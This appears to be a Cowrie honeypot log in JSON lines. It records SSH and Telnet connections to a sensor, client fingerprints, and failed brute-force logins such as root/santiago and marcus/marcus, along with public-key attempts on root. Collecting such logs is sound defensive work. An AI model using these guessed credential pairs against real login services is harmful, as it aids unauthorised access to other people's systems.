{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:23:12.179918Z","src_ip":"95.58.255.251","session":"b633442b840c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:23:12.351052Z","src_ip":"95.58.255.251","session":"b633442b840c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"santiago","message":"login attempt [root/santiago] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:23:13.063892Z","src_ip":"95.58.255.251","session":"b633442b840c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:23:14.237418Z","src_ip":"95.58.255.251","session":"b633442b840c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"16.58.56.214","src_port":58644,"dst_ip":"159.203.135.109","dst_port":22,"session":"f06a9f65057a","protocol":"ssh","message":"New connection: 16.58.56.214:58644 (159.203.135.109:22) [session: f06a9f65057a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:23:20.435026Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:23:20.441268Z","src_ip":"16.58.56.214","session":"f06a9f65057a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:23:20.445665Z","src_ip":"16.58.56.214","session":"f06a9f65057a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"16.58.56.214","src_port":57716,"dst_ip":"159.203.135.109","dst_port":22,"session":"08b2e0b889a0","protocol":"ssh","message":"New connection: 16.58.56.214:57716 (159.203.135.109:22) [session: 08b2e0b889a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:23:35.045184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:23:36.385879Z","src_ip":"16.58.56.214","session":"08b2e0b889a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:23:36.393257Z","src_ip":"16.58.56.214","session":"08b2e0b889a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.4","message":"Connection lost after 11.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:23:46.417310Z","src_ip":"16.58.56.214","session":"08b2e0b889a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":51056,"dst_ip":"159.203.135.109","dst_port":22,"session":"d540515cb179","protocol":"ssh","message":"New connection: 192.169.243.246:51056 (159.203.135.109:22) [session: d540515cb179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:24:14.053188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:24:14.058499Z","src_ip":"192.169.243.246","session":"d540515cb179","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:24:14.132760Z","src_ip":"192.169.243.246","session":"d540515cb179","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"phantom","message":"login attempt [root/phantom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:24:14.457445Z","src_ip":"192.169.243.246","session":"d540515cb179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:24:15.533282Z","src_ip":"192.169.243.246","session":"d540515cb179","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":34324,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2e70710f5be","protocol":"ssh","message":"New connection: 95.58.255.251:34324 (10.17.0.5:22) [session: a2e70710f5be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:24:27.469774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:24:27.474372Z","src_ip":"95.58.255.251","session":"a2e70710f5be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:24:27.645550Z","src_ip":"95.58.255.251","session":"a2e70710f5be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marcel","message":"login attempt [root/marcel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:24:28.361059Z","src_ip":"95.58.255.251","session":"a2e70710f5be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:24:29.535277Z","src_ip":"95.58.255.251","session":"a2e70710f5be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.152.210.167","src_port":45347,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bb942054e90","protocol":"telnet","message":"New connection: 183.152.210.167:45347 (159.203.135.109:23) [session: 7bb942054e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:24:43.503639Z"}
{"eventid":"cowrie.session.closed","duration":113.63742685317993,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:24:44.023621Z","src_ip":"167.71.238.254","session":"69757f09e437","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.30409574508667,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:24:56.807607Z","src_ip":"183.152.210.167","session":"7bb942054e90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":58836,"dst_ip":"10.17.0.5","dst_port":22,"session":"86c2ca005654","protocol":"ssh","message":"New connection: 200.39.46.41:58836 (10.17.0.5:22) [session: 86c2ca005654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:02.449038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:02.456875Z","src_ip":"200.39.46.41","session":"86c2ca005654","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:02.609237Z","src_ip":"200.39.46.41","session":"86c2ca005654","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marcus","password":"marcus","message":"login attempt [marcus/marcus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:03.232318Z","src_ip":"200.39.46.41","session":"86c2ca005654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:04.382439Z","src_ip":"200.39.46.41","session":"86c2ca005654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.90.105.6","src_port":25730,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ad0f08b6b62","protocol":"ssh","message":"New connection: 45.90.105.6:25730 (10.17.0.5:22) [session: 5ad0f08b6b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:12.087439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:12.093127Z","src_ip":"45.90.105.6","session":"5ad0f08b6b62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:12.178408Z","src_ip":"45.90.105.6","session":"5ad0f08b6b62","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:a9:2c:da:35:be:fd:25:eb:22:e9:e7:5b:8f:bd:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8XDDaaRHG0aCVYNEhihQx7IJrrvHeZrNv5ZtOAjTYZrQYEOkKP7/a+Cn1AAJ53GH3nHMukeXrzpAMhVtNuJS604QpvJRIMMW0swijYakWpOjzYPDcSQr5sTzx0NaB9+4XpnDRCt2NY0Zn58SL1GV7MG4N2kkdOIQtMfjAjnWuYDhtT1xwz/BsqsTZWEwzerBVp7LxOeEBfg4oEF8L3KsTZrxHFlpL/JvflxsjhYLgDdjcKyihe4WUAPzi26CrVCYdLVE1I8y1PvSJ+NOElFBDyWn7EymjxJpR7zxrjOzKh983C6PPt63ArpsYKIRgL2R+W9/wLbByAakBn1/9XczQDLNqGTCC/YX+BiirCkFpPg/nDpSpD+lfebuPlovAN2rzVCnqiwgolcqh9qAdolh9CRMtHdOhVX/8ebKknSGZIzbYE/0xxvezeV5XUMqFp2ZzoEuGYYJJmUf1lqORkjBPd4Mw+aA65Qfk/NPnRbmDyGNQxZR1lxAbIPuBU6jpt695lhqSDqmNZIa4oXvP8CKA19llQRgCGCuKitduKUzkdhWHcZHUdJJwKEjv0WcphHyUrRb7ppCvye4gjfxH4eShyA0bt5zMBU2BEEv0ilZGqTmZkZfFszAymsGgjW5fBd6/3f21a28F4YZcAm8mhePNbBOmpIPpLVBGBRpXaX7QOw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:a9:2c:da:35:be:fd:25:eb:22:e9:e7:5b:8f:bd:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:12.571265Z","src_ip":"45.90.105.6","session":"5ad0f08b6b62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:a9:2c:da:35:be:fd:25:eb:22:e9:e7:5b:8f:bd:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8XDDaaRHG0aCVYNEhihQx7IJrrvHeZrNv5ZtOAjTYZrQYEOkKP7/a+Cn1AAJ53GH3nHMukeXrzpAMhVtNuJS604QpvJRIMMW0swijYakWpOjzYPDcSQr5sTzx0NaB9+4XpnDRCt2NY0Zn58SL1GV7MG4N2kkdOIQtMfjAjnWuYDhtT1xwz/BsqsTZWEwzerBVp7LxOeEBfg4oEF8L3KsTZrxHFlpL/JvflxsjhYLgDdjcKyihe4WUAPzi26CrVCYdLVE1I8y1PvSJ+NOElFBDyWn7EymjxJpR7zxrjOzKh983C6PPt63ArpsYKIRgL2R+W9/wLbByAakBn1/9XczQDLNqGTCC/YX+BiirCkFpPg/nDpSpD+lfebuPlovAN2rzVCnqiwgolcqh9qAdolh9CRMtHdOhVX/8ebKknSGZIzbYE/0xxvezeV5XUMqFp2ZzoEuGYYJJmUf1lqORkjBPd4Mw+aA65Qfk/NPnRbmDyGNQxZR1lxAbIPuBU6jpt695lhqSDqmNZIa4oXvP8CKA19llQRgCGCuKitduKUzkdhWHcZHUdJJwKEjv0WcphHyUrRb7ppCvye4gjfxH4eShyA0bt5zMBU2BEEv0ilZGqTmZkZfFszAymsGgjW5fBd6/3f21a28F4YZcAm8mhePNbBOmpIPpLVBGBRpXaX7QOw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:12.575737Z","src_ip":"45.90.105.6","session":"5ad0f08b6b62","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:f4:cd:08:57:8f:96:28:7e:10:b5:f4:bc:25:ca:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3SNH/MbTOS4Muv5ePGdyhh145G7Hj/r8DL/FVU4EYE1wsVGFEbT/R/AOydYWhaLSRFDdxSgisrJQXezsr1ysK/BMF1ri2SI+g6boTuk28VX7T+vbkwj1nNW5ehn2cR+yj9ra6W6HCk9UZd6r0WRtZbsC4PKLjlQVKdZiCTHCAuk8VBNAQPX4r1d0yE68ngIiWUYL0PzV8RcFU5PK3MBHjM5DXj5HdC/IweMfwcbLq/Mp5WLgpunolE7w+5nU70p7zOMmIRAjJtWMZlChZYFSog/GJXNk4nKOre6fpMdGz4rCA/OeUmTUDDNdvJ0R9AZqY2QXCTdAsAbgXVJtIQXiqYIwkfK+GuKkcUMeEGEEk7XZN7bftVNb/s5VZqvmKnlMkmKT0K5Tzrh4GUu5pmmgFbmbgdFvnO/vvwG+0pw/EWKGEuBqKeG29r3TfXTxpuxb71S1HeKMPoA8/LPadU5KgoPGRszR8oXgVNO3LfccsdM4CdNtQ+03jsAXZywLxdbnRrklx9fACGrSHfIN54K102tB400iiqTv7zY8Ytl3gbyTpJXA5AJLQlSeLBhU4plH81uNQ+PsLNhwbx3+gBUFmVYDjgF8X/v0csTwusiN7JJAXbr31DQudZ7rqir8A6edQqZu5QshbLiCQ+M1oYhYwbi730cyDnQL2lHa0B+FZzw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:f4:cd:08:57:8f:96:28:7e:10:b5:f4:bc:25:ca:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:12.660676Z","src_ip":"45.90.105.6","session":"5ad0f08b6b62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:f4:cd:08:57:8f:96:28:7e:10:b5:f4:bc:25:ca:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3SNH/MbTOS4Muv5ePGdyhh145G7Hj/r8DL/FVU4EYE1wsVGFEbT/R/AOydYWhaLSRFDdxSgisrJQXezsr1ysK/BMF1ri2SI+g6boTuk28VX7T+vbkwj1nNW5ehn2cR+yj9ra6W6HCk9UZd6r0WRtZbsC4PKLjlQVKdZiCTHCAuk8VBNAQPX4r1d0yE68ngIiWUYL0PzV8RcFU5PK3MBHjM5DXj5HdC/IweMfwcbLq/Mp5WLgpunolE7w+5nU70p7zOMmIRAjJtWMZlChZYFSog/GJXNk4nKOre6fpMdGz4rCA/OeUmTUDDNdvJ0R9AZqY2QXCTdAsAbgXVJtIQXiqYIwkfK+GuKkcUMeEGEEk7XZN7bftVNb/s5VZqvmKnlMkmKT0K5Tzrh4GUu5pmmgFbmbgdFvnO/vvwG+0pw/EWKGEuBqKeG29r3TfXTxpuxb71S1HeKMPoA8/LPadU5KgoPGRszR8oXgVNO3LfccsdM4CdNtQ+03jsAXZywLxdbnRrklx9fACGrSHfIN54K102tB400iiqTv7zY8Ytl3gbyTpJXA5AJLQlSeLBhU4plH81uNQ+PsLNhwbx3+gBUFmVYDjgF8X/v0csTwusiN7JJAXbr31DQudZ7rqir8A6edQqZu5QshbLiCQ+M1oYhYwbi730cyDnQL2lHa0B+FZzw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:25:12.665037Z","src_ip":"45.90.105.6","session":"5ad0f08b6b62","protocol":"ssh"}
